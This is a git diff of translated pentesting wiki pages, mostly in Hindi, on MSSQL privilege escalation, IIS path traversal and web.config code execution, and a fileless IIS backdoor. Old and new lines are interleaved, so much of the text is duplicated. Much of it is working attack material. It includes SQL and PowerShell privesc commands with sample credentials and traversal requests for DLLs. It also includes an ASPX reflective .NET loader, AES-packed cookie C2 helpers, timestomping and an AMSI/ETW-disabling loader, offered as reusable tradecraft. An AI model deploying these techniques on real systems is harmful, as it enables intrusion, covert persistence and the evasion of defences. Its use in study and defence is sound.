यदि किसी **नियमित उपयोगकर्ता** को **`db_owner`** रोल उस **admin द्वारा मालिकाना हक वाले डेटाबेस** पर (उदाहरण के लिए **`sa`**) दिया जाए और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर हो, तो वह उपयोगकर्ता इन अधिकारों का दुरुपयोग कर के **privesc** कर सकता है क्योंकि वहां बनाए गए **stored procedures** owner (**admin**) के रूप में **execute** कर सकते हैं।
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -479,19 +507,19 @@ EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
आप **metasploit** मॉड्यूल का उपयोग कर सकते हैं:
आप **metasploit** module का उपयोग कर सकते हैं:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
या **PS** स्क्रिप्ट:
या एक **PS** स्क्रिप्ट:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### अन्य उपयोगकर्ताओं का अनुकरण
### अन्य उपयोगकर्ताओं की पहचान लेना
SQL Server में एक विशेष अनुमति है, जिसका नाम **`IMPERSONATE`** है, जो **कार्यरत उपयोगकर्ता को किसी अन्य उपयोगकर्ता** या लॉगिन की अनुमतियों को अपनाने की **अनुमति देती है** जब तक कि संदर्भ को रीसेट नहीं किया जाता या सत्र समाप्त नहीं होता
SQL Server के पास एक विशेष अनुमति है, जिसका नाम **`IMPERSONATE`** है, जो **निष्पादन कर रहे उपयोगकर्ता को किसी अन्य उपयोगकर्ता या login की अनुमतियों को ग्रहण करने की अनुमति देती है**, जब तक कि context reset न हो या session समाप्त न हो
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -512,9 +540,9 @@ enum_links
use_link [NAME]
```
> [!TIP]
> यदि आप किसी उपयोगकर्ता की नकल कर सकते हैं, भले ही वह sysadmin न हो, तो आपको यह जांचना चाहिए कि **क्या उपयोगकर्ता को अन्य** **databases** या लिंक किए गए सर्वरों तक पहुंच है।
> यदि आप किसी user का impersonate कर सकते हैं, भले ही वह sysadmin न हो, तो आपको जांचना चाहिए कि **user के पास access है** अन्य **databases** या linked servers तक।
ध्यान दें कि एक बार जब आप sysadmin बन जाते हैं, तो आप किसी अन्य की नकल कर सकते हैं:
ध्यान दें कि एक बार जब आप sysadmin बन जाते हैं, तो आप किसी भी अन्य को impersonate कर सकते हैं:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -524,47 +552,49 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
आप इस हमले को **metasploit** मॉड्यूल के साथ कर सकते हैं:
आप यह हमला एक **metasploit** module के साथ कर सकते हैं:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
या **PS** स्क्रिप्ट के साथ:
या एक **PS** script के साथ:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## MSSQL का उपयोग करना स्थायीता के लिए
## Using MSSQL for Persistence
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## SQL Server Linked Servers से पासवर्ड निकालना
एक हमलावर SQL Server Linked Servers के पासवर्ड को SQL Instances से निकाल सकता है और उन्हें स्पष्ट पाठ में प्राप्त कर सकता है, जिससे हमलावर को ऐसे पासवर्ड मिलते हैं जिनका उपयोग लक्ष्य पर अधिक पकड़ बनाने के लिए किया जा सकता है। Linked Servers के लिए संग्रहीत पासवर्ड को निकालने और डिक्रिप्ट करने के लिए स्क्रिप्ट [यहाँ](https://www.richardswinbank.net/admin/extract_linked_server_passwords) मिल सकती है।
An attacker can extract SQL Server Linked Servers passwords from the SQL Instances and get them in clear text, granting the attacker passwords that can be used to acquire a greater foothold on the target. The script to extract and decrypt the passwords stored for the Linked Servers can be found [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
इस एक्सप्लॉइट के काम करने के लिए कुछ आवश्यकताएँ और कॉन्फ़िगरेशन किए जाने चाहिए। सबसे पहले, आपके पास मशीन पर व्यवस्थापक अधिकार होने चाहिए, या SQL Server कॉन्फ़िगरेशन प्रबंधित करने की क्षमता होनी चाहिए।
कुछ आवश्यकताएँ और कॉन्फ़िगरेशन इस exploit को काम करने के लिए किए जाने चाहिए। सबसे पहले, आपके पास मशीन पर Administrator अधिकार होने चाहिए, या SQL Server Configurations को प्रबंधित करने की क्षमता होनी चाहिए।
अपनी अनुमतियों को मान्य करने के बाद, आपको तीन चीजें कॉन्फ़िगर करनी होंगी, जो निम्नलिखित हैं:
अपनी permissions को मान्य करने के बाद, आपको तीन चीजें कॉन्फ़िगर करनी होंगी, जो निम्नलिखित हैं:
1. SQL Server इंस्टेंस पर TCP/IP सक्षम करें;
2. एक स्टार्ट अप पैरामीटर जोड़ें, इस मामले में, एक ट्रेस फ्लैग जोड़ा जाएगा, जो -T7806 है।
3. दूरस्थ व्यवस्थापक कनेक्शन सक्षम करें।
1. SQL Server instances पर TCP/IP सक्षम करें;
2. एक Start Up parameter जोड़ें, इस मामले में एक trace flag जोड़ा जाएगा, जो है -T7806.
3. remote admin connection सक्षम करें।
इन कॉन्फ़िगरेशनों को स्वचालित करने के लिए, [यह रिपॉजिटरी](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) आवश्यक स्क्रिप्ट रखती है। प्रत्येक कॉन्फ़िगरेशन के चरण के लिए एक पावरशेल स्क्रिप्ट होने के अलावा, रिपॉजिटरी में एक पूर्ण स्क्रिप्ट भी है जो कॉन्फ़िगरेशन स्क्रिप्ट और पासवर्ड के निष्कर्षण और डिक्रिप्शन को संयोजित करती है।
इन कॉन्फ़िगरेशन को automate करने के लिए, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)has the needed scripts. प्रत्येक चरण के लिए powershell script होने के अलावा, repository में एक पूरा script भी है जो configuration scripts और passwords के extraction और decryption को मिलाकर काम करता है।
इस हमले के बारे में अधिक जानकारी के लिए, निम्नलिखित लिंक देखें: [MSSQL डेटाबेस लिंक सर्वर पासवर्ड डिक्रिप्ट करना](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
अधिक जानकारी के लिए, इस attack से संबंधित निम्नलिखित लिंक देखें: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[SQL Server समर्पित व्यवस्थापक कनेक्शन की समस्या निवारण](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## स्थानीय विशेषाधिकार वृद्धि
## Local Privilege Escalation
The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.**\
आप संभवतः इन दोनों पृष्ठों में से किसी एक का अनुसरण करके **Administrator तक escalate** कर पाएँगे:
MSSQL सर्वर चलाने वाला उपयोगकर्ता विशेषाधिकार टोकन **SeImpersonatePrivilege** सक्षम करेगा।\
आप शायद इनमें से किसी एक 2 पृष्ठों का पालन करते हुए **व्यवस्थापक में वृद्धि** करने में सक्षम होंगे:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/juicypotato.md
{{#endref}}
@ -573,7 +603,19 @@ MSSQL सर्वर चलाने वाला उपयोगकर्त
- `port:1433 !HTTP`
## संदर्भ
## References
- [Unit 42 Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
@ -585,7 +627,7 @@ MSSQL सर्वर चलाने वाला उपयोगकर्त
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
## HackTricks स्वचालित आदेश
## HackTricks Automatic Commands
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.

View File

@ -2,16 +2,16 @@
{{#include ../../banners/hacktricks-training.md}}
परीक्षण निष्पादन योग्य फ़ाइल एक्सटेंशन:
टेस्ट executable फ़ाइल एक्सटेंशन्स:
- asp
- aspx
- config
- php
## आंतरिक IP पता लीक
## आंतरिक IP पता प्रकटीकरण
किसी भी IIS सर्वर पर जहाँ आपको 302 मिलता है, आप होस्ट हेडर को हटाने और HTTP/1.0 का उपयोग करने की कोशिश कर सकते हैं और प्रतिक्रिया के अंदर स्थान हेडर आपको आंतरिक IP पते की ओर इंगित कर सकता है:
किसी भी IIS सर्वर पर जहाँ आपको 302 मिलता है आप Host header को हटाकर और HTTP/1.0 का उपयोग करके कोशिश कर सकते हैं और response के अंदर Location header आपको आंतरिक IP पते की ओर इशारा कर सकता है:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
@ -27,21 +27,21 @@ Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## Execute .config files
## .config फ़ाइलें निष्पादित करें
आप .config फ़ाइलें अपलोड कर सकते हैं और उनका उपयोग कोड निष्पादित करने के लिए कर सकते हैं। इसे करने का एक तरीका फ़ाइल के अंत में HTML टिप्पणी के अंदर कोड जोड़ना है: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
आप .config फ़ाइलें अपलोड कर सकते हैं और उन्हें कोड निष्पादित करने के लिए उपयोग कर सकते हैं। एक तरीका है फाइल के अंत में एक HTML comment के अंदर कोड जोड़ देना: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
इस भेद्यता का शोषण करने के लिए अधिक जानकारी और तकनीकें [यहां](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) हैं।
More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## IIS Discovery Bruteforce
मैंने जो सूची बनाई है उसे डाउनलोड करें:
Download the list that I have created:
{{#file}}
iisfinal.txt
{{#endfile}}
यह निम्नलिखित सूचियों की सामग्री को मिलाकर बनाई गई थी:
It was created merging the contents of the following lists:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
@ -50,63 +50,63 @@ iisfinal.txt
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
इसे बिना किसी एक्सटेंशन के उपयोग करें, जिन फ़ाइलों को इसकी आवश्यकता है, उनमें पहले से ही है
इसे किसी extension को जोड़कर उपयोग न करें; जिन फ़ाइलों को extension की ज़रूरत है वे पहले से ही वह extension रखती हैं
## Path Traversal
### Leaking source code
पूर्ण लेखन की जांच करें: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
Check the full writeup in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ हैं। इस जानकारी से यह जानना संभव है कि **executables कहां स्थित हैं** और उन्हें डाउनलोड करें।\
> **डाउनलोड की गई Dlls** से यह भी संभव है कि **नए namespaces** खोजें जहां आपको पहुंचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सक।\
> इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** दिलचस्प जानकारी रख सकती हैं
> [!TIP]
> साराके रूप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें होती हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ होते हैं। इस जानकारी से यह पता लगाया जा सकता है कि **executable कहाँ स्थित हैं** और उन्हें डाउनलोड किया जा सकता है।\
> डाउनलोड की गई **Dlls** से यह भी सम्भव है कि आप **नए namespaces** ढूंढ सकें जहाँ आप पहुँचने की कोशिश कर सकते हैं और web.config फ़ाइल प्राप्त कर सकते हैं ताकि नए namespaces और assemblyIdentity मिले।\
> इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** में भी रोचक जानकारी हो सकती है
**.Net MVC applications** में, **web.config** फ़ाइल एक महत्वपूर्ण भूमिका निभाती है, जो प्रत्येक बाइनरी फ़ाइल को निर्दिष्ट करती है जिस पर एप्लिकेशन निर्भर करता है **"assemblyIdentity"** XML टैग के माध्यम से।
In **.Net MVC applications**, the **web.config** file plays a crucial role by specifying each binary file the application relies on through **"assemblyIdentity"** XML tags.
### **Exploring Binary Files**
### **बाइनरी फ़ाइलों का अन्वेषण**
**web.config** फ़ाइल तक पहुंचने का एक उदाहरण नीचे दिखाया गया है:
An example of accessing the **web.config** file is shown below:
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
यह अनुरोध विभिन्न सेटिंग्स और निर्भरताओं को प्रकट करता है, जैसे:
यह अनुरोध विभिन्न सेटिंग्स और निर्भरताएँ उजागर करता है, जैसे:
- **EntityFramework** संस्करण
- **AppSettings** वेबपृष्ठों, क्लाइंट सत्यापन और JavaScript के लिए
- **System.web** प्रमाणीकरण और रनटाइम के लिए कॉन्फ़िगरेशन
- **AppSettings** वेबपेज, क्लाइंट सत्यापन, और JavaScript के लिए
- **System.web** प्रमाणीकरण और runtime के लिए विन्यास
- **System.webServer** मॉड्यूल सेटिंग्स
- **Runtime** असेंबली बाइंडिंग्स कई पुस्तकालयों के लिए जैसे **Microsoft.Owin**, **Newtonsoft.Json**, और **System.Web.Mvc**
- **Runtime** असेंबली बाइंडिंग्स कई लाइब्रेरियों के लिए जैसे **Microsoft.Owin**, **Newtonsoft.Json**, और **System.Web.Mvc**
ये सेटिंग्स यह संकेत देती हैं कि कुछ फाइलें, जैसे **/bin/WebGrease.dll**, अनुप्रयोग के /bin फ़ोल्डर के भीतर स्थित हैं।
ये सेटिंग्स संकेत देती हैं कि कुछ फाइलें, जैसे **/bin/WebGrease.dll**, एप्लिकेशन के /bin फ़ोल्डर के भीतर स्थित हैं।
### **रूट निर्देशिका फ़ाइलें**
### **Root Directory Files**
रूट निर्देशिका में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती है), अनुप्रयोग की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं।
रूट डायरेक्टरी में पाए जाने वाली फाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जिसमें संवेदनशील पासवर्ड होते हैं), एप्लिकेशन की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं।
### **Namespaces और Web.Config**
### **नामस्थान और Web.Config**
MVC अनुप्रयोग भी विशिष्ट namespaces के लिए अतिरिक्त **web.config फ़ाइलें** परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है:
MVC अनुप्रयोग विशिष्ट नामस्थान के लिए अतिरिक्त **web.config** फ़ाइलें भी परिभाषित करते हैं ताकि हर फ़ाइल में पुनरावर्ती घोषणाओं से बचा जा सके, जैसा कि एक और **web.config** डाउनलोड करने के अनुरोध से दिखाया गया है:
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLLs डाउनलोड करना**
कस्टम नामस्थान का उल्लेख "/bin" निर्देशिका में मौजूद "**WebApplication1**" नामक DLL की ओर इशारा करता है। इसके बाद, **WebApplication1.dll** डाउनलोड करने के लिए एक अनुरोध दिखाया गया है:
कस्टम namespace का उल्लेख इस बात का संकेत देता है कि /bin directory में **WebApplication1** नामक एक DLL मौजूद है। इसके बाद **WebApplication1.dll** डाउनलोड करने का अनुरोध दिखाया गया है:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
यह अन्य आवश्यक DLLs की उपस्थिति का सुझाव देता है, जैसे **System.Web.Mvc.dll** और **System.Web.Optimization.dll**, /bin निर्देशिका में
यह संकेत देता है कि /bin डायरेक्टरी में अन्य आवश्यक DLLs मौजूद हो सकते हैं, जैसे **System.Web.Mvc.dll** और **System.Web.Optimization.dll**
एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के होने का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के लिए संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति को इंगित करता है
यदि किसी परिदृश्य में कोई DLL **WebApplication1.Areas.Minded** नाम का namespace import करता है, तो एक attacker अनुमान लगा सकता है कि पूर्वानुमानित पाथ्स में अन्य web.config फाइलें मौजूद होंगी, जैसे **/area-name/Views/**, जिनमें विशिष्ट configurations और /bin फोल्डर में मौजूद अन्य DLLs के संदर्भ होते हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक request उन configurations और namespaces का खुलासा कर सकती है जो दूसरे DLL, **WebApplication1.AdditionalFeatures.dll**, की उपस्थिति को दर्शाते हैं
### सामान्य फ़ाइलें
### Common files
[यहाँ से](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
@ -183,45 +183,162 @@ C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 Error
## HTTPAPI 2.0 404 त्रुटि
यदि आप निम्नलिखित त्रुटि देखते हैं:
यदि आपको निम्नलिखित जैसी त्रुटि दिखे:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
इसका मतलब है कि सर्वर ने **Host header** के अंदर सही डोमेन नाम **नहीं प्राप्त किया**।\
वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर द्वारा प्रदत्त **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts** का **brute force** करना पड़ सकता है।
इसका मतलब है कि सर्वर ने Host header के अंदर **सही domain name प्राप्त नहीं किया**.\
वेब पेज तक पहुँचने के लिए आप सर्व किए गए **SSL Certificate** को देख सकते हैं और शायद वहाँ domain/subdomain नाम मिल जाए। अगर वह वहाँ नहीं है तो आपको सही one मिलने तक **brute force VHosts** करने की आवश्यकता हो सकती है।
## एन्क्रिप्टेड कॉन्फ़िगरेशन और ASP.NET Core Data Protection key rings को डिक्रिप्ट करें
IIS-hosted .NET apps पर secrets को सुरक्षित रखने के दो सामान्य पैटर्न हैं:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) — web.config के सेक्शन जैसे <connectionStrings> के लिए।
- ASP.NET Core Data Protection key ring (persisted locally) — application secrets और cookies को सुरक्षित करने के लिए इस्तेमाल होता है।
यदि आपके पास वेब सर्वर पर filesystem या interactive access है, तो साथ रखी गई keys अक्सर डिक्रिप्शन की अनुमति देती हैं।
- ASP.NET (Full Framework) protected config सेक्शंस को aspnet_regiis से डिक्रिप्ट करें:
```cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
```
- ASP.NET Core स्थानीय रूप से संग्रहीत Data Protection key rings (XML/JSON files) के लिए निम्नलिखित स्थानों में देखें:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Key ring उपलब्ध होने पर, ऐप की identity में चलने वाला एक operator उसी purposes के साथ एक IDataProtector instantiate कर सकता है और संग्रहीत secrets को unprotect कर सकता है। यदि key ring को app files के साथ संग्रहीत करने की misconfigurations हों तो host compromise होने पर offline decryption trivial हो जाता है।
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Phantom Taurus/NET-STAR toolkit fileless IIS persistence और postexploitation के लिए एक परिपक्व पैटर्न दिखाता है, जो पूरी तरह से w3wp.exe के अंदर काम करता है। मूल विचार custom tradecraft और detection/hunting के लिए व्यापक रूप से reusable हैं।
Key building blocks
- ASPX bootstrapper hosting an embedded payload: एक single .aspx page (e.g., OutlookEN.aspx) एक Base64encoded, optionally Gzipcompressed .NET DLL रखता है। ट्रिगर request पर यह decode, decompress और reflectively load करके current AppDomain में लोड करता है और main entry point (e.g., ServerRun.Run()) को invoke करता है।
- Cookiescoped, encrypted C2 with multistage packing: tasks/results को Gzip → AESECB/PKCS7 → Base64 के साथ पैक करके seemingly legitimate cookieheavy requests के माध्यम से भेजा जाता है; operators chunking के लिए stable delimiters (e.g., "STAR") का उपयोग करते थे।
- Reflective .NET execution: arbitrary managed assemblies को Base64 के रूप में स्वीकार करें, Assembly.Load(byte[]) के माध्यम से लोड करें और operator args पास करके disk को छुए बिना rapid module swaps करें।
- Operating in precompiled ASP.NET sites: साइट precompiled होने पर भी auxiliary shells/backdoors जोड़ें/मैनेज करें (e.g., dropper dynamic pages/handlers जोड़ता है या config handlers का उपयोग करता है) ये bypassPrecompiledApp, addshell, listshell, removeshell जैसे commands द्वारा expose होते हैं।
- Timestomping/metadata forgery: एक changeLastModified action expose करें और deployment पर timestomp करें (future compilation timestamps सहित) ताकि DFIR को बाधित किया जा सके।
- Optional AMSI/ETW predisable for loaders: secondstage loader Assembly.Load कॉल करने से पहले AMSI और ETW को disable कर सकता है ताकि inmemory payloads की inspection कम हो सके।
Minimal ASPX loader pattern
```aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hardcoded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
```
पैकिंग/crypto सहायक (Gzip + AESECB + Base64)
```csharp
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AESECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
```
Cookie/session प्रवाह और कमांड सतह
- Session bootstrap और tasking cookies के माध्यम से ले जाया जाता है ताकि यह सामान्य web गतिविधि में घुल‑मिल जाए।
- वास्तविक मामलों में देखे गए कमांड्स में शामिल थे: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; and dynamic execution primitives code_self, code_pid, run_code for inmemory .NET execution.
Timestomping utility
```csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
```
Assembly.Load से पहले Inline AMSI/ETW disable (loader variant)
```csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
```
See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
Hunting notes (defenders)
